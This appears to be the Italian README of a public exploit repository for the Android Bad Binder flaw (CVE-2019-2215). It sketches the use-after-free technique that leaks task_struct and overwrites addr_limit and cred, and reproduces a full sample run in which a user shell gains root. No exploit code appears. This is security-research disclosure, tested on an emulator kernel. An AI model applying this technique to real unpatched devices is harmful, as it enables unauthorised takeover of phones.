wired0ut/cve-2019-2215Exploit completo per la vulnerabilità Android Bad Binder trovata nei primi telefoni Google Pixel.
Exploit per la vulnerabilità Bad Binder in Android scritto da @wired0ut.
Abusa della UAF per divulgare task_struct, poi sovrascrive addr_limit e scala i privilegi sovrascrivendo il blocco id in cred.
L'intero flusso della ricerca e dello sfruttamento può essere trovato qui (serie di 3 parti).
È stato testato sul kernel Android goldfish (arm64), versione 4.14, con la patch reintrodotta.
Esempio di esecuzione:
~ $ whoami
whoami: unknown uid 1000
~ $ ./poc
[!] Starting first phase of exploit; task_struct leak...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Filling pipes to block...
[!] Filling the iovecs to be overwritten...
[!] Entering blocked state...
[!] Triggering UAF...
[!] Left blocked state, it means we have signaled to not hang.
[*] Leaked task_struct @ 0xffffffc0fb3f0d80
[*] Successfully leaked task_struct ptr, now overwriting addr_limit...
[!] Pre-writing 1 byte to socket to advance iovec iterator to 12th...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Creating msghdr with crafted iovecs...
[!] Entering recvmsg(...), should block until UAF...
[!] Triggering UAF...
[!] Overwriting addr_limit @ 0xffffffc0fb3f0d88 with 0xfffffffffffffffe
[*] addr_limit overwritten, leaking cred ptr @ 0xffffffc0fb3f1440
[*] cred_ptr @ 0xffffffc0fa45a300
[*] Overwriting entire id block in cred from 0xffffffc0fa45a304 to 0xffffffc0fa45a324
[*] You should now be r00t...
[*] getuid(): 0
[*] w00t w00t
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0
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